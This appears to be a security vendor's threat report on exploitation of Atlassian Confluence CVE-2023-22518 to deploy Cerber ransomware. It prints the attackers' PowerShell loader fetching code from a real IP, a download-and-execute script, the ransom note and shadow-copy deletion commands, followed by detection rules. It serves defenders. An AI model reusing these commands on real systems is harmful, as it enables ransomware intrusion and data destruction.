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Adversaries exploit Confluence vulnerability to deploy ransomware

Red Canary has detected apparent exploitation of Atlassian Confluence CVE-2023-22518 in an attempted Cerber ransomware campaign.

The Red Canary Team
Originally published . Last modified .

On November 5, 2023, Red Canary detected suspected exploitation of Atlassian Confluence CVE-2023-22518 that led to an attempt to deploy Cerber ransomware. The activity we observed is similar to intrusions previously reported by The DFIR Report and Rapid7. We’ve decided to publish our own observations and detection guidance to help the community better defend against this threat.

CVE-2023-22518 is an improper authorization vulnerability within Confluence Data Center and Confluence Server that allows unauthenticated users to perform a “restore from backup” by submitting their own arbitrary .zip file. Adversaries can exploit the vulnerability to destroy Confluence instances, leading to data loss. Alternatively, adversaries may also submit a .zip file containing a web shell to achieve remote code execution (RCE) on vulnerable, on-premise Confluence servers.

Red Canary recommends following Atlassian’s guidance to update on-premise instances of Confluence to one of the listed versions:

  • 7.19.16 or later
  • 8.3.4 or later
  • 8.4.4 or later
  • 8.5.3 or later
  • 8.6.1 or later

Observed behaviors

If successfully exploited, CVE-2023-22518 could enable an adversary to upload arbitrary content to Confluence instances without authentication using a “restore from backup archive” function. Atlassian stated in its security advisory that there is “…no impact to confidentiality as an attacker cannot exfiltrate any instance data.” However, an adversary that uploads a specially crafted .zip archive file may be able to upload a web shell that could allow for arbitrary remote code execution on the system in addition to wiping data from a Confluence instance (as Atlassian initially reported).

After gaining initial access, the adversary ran the reconnaissance command: cmd /c whoami. The adversary then executed encoded PowerShell commands, which you can see decoded below:

IEX((New-Object Net.WebClient).DownloadString("http://193.176.179[.]41/tmp.48"))

The contents of the downloaded tmp.48 file are shown below:

function Download_Execute
    [CmdletBinding()] Param(
        [Parameter(Position = 0, Mandatory = $True)]

    $webclient = New-Object System.Net.WebClient    
    $webclient.Proxy = [System.Net.WebRequest]::DefaultWebProxy
    $webclient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
    $ProxyAuth = $webclient.Proxy.IsBypassed($URL)
        [string]$hexformat = $webClient.DownloadString($URL) 
        $webClient = New-Object -ComObject InternetExplorer.Application
        $webClient.Visible = $false
        while($webClient.ReadyState -ne 4) { Start-Sleep -Milliseconds 100 }
        [string]$hexformat = $webClient.Document.Body.innerText
    [Byte[]] $temp = $hexformat -split ' '
    [System.IO.File]::WriteAllBytes("$env:temp\svcPrvinit.exe", $temp)
    $args = "-b 9"
    Start-Process -FilePath "$env:temp\svcPrvinit.exe" -WindowStyle Hidden -ArgumentList $args

Download_Execute http://193.176.179[.]41/tmp.48.txt

The script performs multiple actions:

  1. The script defines a function named Download_Execute that initializes a .NET WebClient object that sets the HTTP User-Agent string to mimic Mozilla 4.0 and configures proxy settings.
  2. The script checks to see whether the specified proxy server should be used by the Confluence server. If so, the script will use that web client to download the specified file. If not, the script uses an Internet Explorer Component Object Model (COM) object to download the script.
  3. The script downloads a Cerber ransomware executable, saves it to the Temp folder under the name svcprvinit.exe, and runs the process with the command-line arguments -b 9 without displaying a window.
  4. The last line of the file calls the Download_Execute function, specifying it to reach out to the IP address 193.176.179[.]41 and download tmp.48.txt and extract the Cerber ransomware file from it.

tmp.48.txt was saved on disk at the path C:\Windows\Temp\svcprvinit.exe. It’s worth noting that the first submission of the ransomware binary on VirusTotal was on November 1, suggesting that exploitation may have begun within 24 hours of initial disclosure of the CVE, which Atlassian released publicly on October 31. This is in line with what Red Canary has repeatedly observed in the past—namely, widespread exploitation attempts mere days after a public disclosure of critical security vulnerabilities.

Ransomware analysis

Red Canary was able to obtain and analyze svcprvinit.exe, which is a Cerber ransomware sample that we assess was likely derived from materials exposed in the Conti ransomware leaks. Upon execution, the binary encrypts files on local disks and in network shares, appends the .LOCK3D file extension, creates a mutex in memory, deletes volume shadow copies, drops ransom notes, and deletes itself.

The ransomware binary uses ChaCha (a modification of the Salsa20 stream cipher) to encrypt files. This is consistent with the last known build of Conti using ChaCha for file encryption. The binary also contains the capability to use AES and RC4 for different encryption operations (e.g., encrypting keys).

The ransomware binary creates the mutex hsfjuukjzloqu28oajh727190 to ensure that only one instance of the malware is running at a time. Security researchers have discovered that this particular mutex has been shared across Conti samples and additional ransomware families, allegedly derived from leaked Conti material. The binary supports encrypting multiple file types on local drives as well as remote file shares.

The ransomware drops the following ransom note, named read-me3.txt, in each encrypted folder:


All your important files have been encrypted. Any attempts to restore your files with thrid-party software will be fatal for your files! The only way to decrypt your files safely is to buy the special decryption software "C3rb3r Decryptor". We have also downloaded a lot of data from your system. If you do not pay, we will sell your data on the dark web.

You should get more information on our page, which is located in a Tor hidden network.
1.Download Tor browser -
2.Install and run Tor browser
3.Connect with the button "Connect"
4.Open link in Tor browser : http://j3qxmk6g5sk3zw62i2yhjnwmhm55rfz47fdyfkhaithlpelfjdokdxad.onion/<unique path>
5.The site should be loaded. if for some reason the site is not loading wait for a moment and try again
6.Follow the instructions on this page

You can proceed with purchasing of the decryption software at your personal page:
http://j3qxmk6g5sk3zw62i2yhjnwmhm55rfz47fdyfkhaithlpelfjdokdxad.onion/<unique path>

At this page you will receive the complete instructions how to buy the decryption software for restoring all your files. Also at this page you will be able to restore any one file for free to be sure "C3rb3r Decryptor" will help you.

1.Do not try to recover files yourself, this process can damage your data and recovery will become impossible.
2.Do not waste time trying to find the solution on the internet. The longer you wait, the higher will become the decryption software price.
3.Tor Browser may be blocked in your country or corporate network. Use Tor Browser over VPN.

The ransomware then uses cmd.exe and wmic.exe to delete volume shadow copies with the following command:

cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='<VSS ID>'" delete

Finally, the ransomware deletes itself:

"C:\Windows\system32\cmd.exe" /c del c:\windows\temp\svcprvinit.exe >> NUL

Identifying on-premise Confluence installations

CVE-2023-22518 only affects vulnerable on-premise instances of Confluence. This detection opportunity identifies potential instances of on-premise Confluence, but we’d like to emphasize that this detection only helps identify in EDR data whether or not you have a Confluence server in your organization. This query does not show signs of malicious activity.


parent_process == (java || tomcat)


command_includes == (confluence)


Detection opportunities

The following are pseudo-detection analytics that are intended as a starting point for detecting relevant malicious or suspicious activity. They may require tuning depending on false positive levels and what constitutes normal behavior in your environment.

Detection opportunity: Tomcat spawning Windows Command Shell or PowerShell and performing reconnaissance

This pseudo-detector looks for endpoint activity you’re likely to see resulting from the specific exploitation of CVE-2023-22518 described in this article. It should unearth instances of Tomcat spawning either PowerShell or the Windows Command Shell and running reconnaissance commands.


parent_process == (tomcat)


process == (cmd || powershell)


child_process == (whoami.exe || nltest.exe)


Detection opportunity: PowerShell invoke expression and DownloadString to download remotely hosted files

This pseudo-detector identifies instances of PowerShell leveraging iex(New-Object Net.WebClient).DownloadString to download remotely hosted files.


process == (powershell.exe)


command_includes == (IEX((New-Object Net.WebClient).DownloadString))


Detection opportunity: Encoded PowerShell commands

This detection analytic looks for abuse of the shortened encoded PowerShell command switch. This activity is often used by adversaries to obfuscate the use of malicious code on an endpoint. You may be able to refine the accuracy of this detector by looking for the execution of encoded PowerShell commands in conjunction with external network connections and the creation of executable files on disk.

Note: We also recommend checking out Red Canary’s Threat Detection Report section on PowerShell. The page contains additional PowerShell detection analytics that can be applied for protection against this and other threats.


process == (powershell.exe)


command_includes == “(-e || -en || -enc || -enco || [any variation of the encoded command switch]*)


*Note: Any variation of the encoded command switch from -e to -encodedcommand will encode PowerShell commands.


Detection opportunity: PowerShell or Windows Command Shell bypassing execution policies

This detection analytic identifies adversaries leveraging PowerShell or the Windows Command Shell in an attempt to bypass execution policies by running commands with the -exec switch and the bypass flag, which are commonly used by adversaries to subvert security measures like antivirus.


process == (powershell.exe || cmd.exe)


command_includes == (-exec && bypass)








IP address that hosted malicious tmp.48 and tmp.48.txt scripts






SHA256 of tmp.48






SHA256 of tmp.48.txt






SHA256 of svcprvinit.exe (Cerber ransomware)






Mutex of svcprvinit.exe (Cerber ransomware)




File Path


File path of svcprvinit.exe (Cerber ransomware)


Organizations running vulnerable, on-premise Confluence installations should consider updating those systems as soon as possible. In the meantime, the information in this article should help security teams identify whether they’re running Confluence on-premise and detect suspicious activity accordingly.


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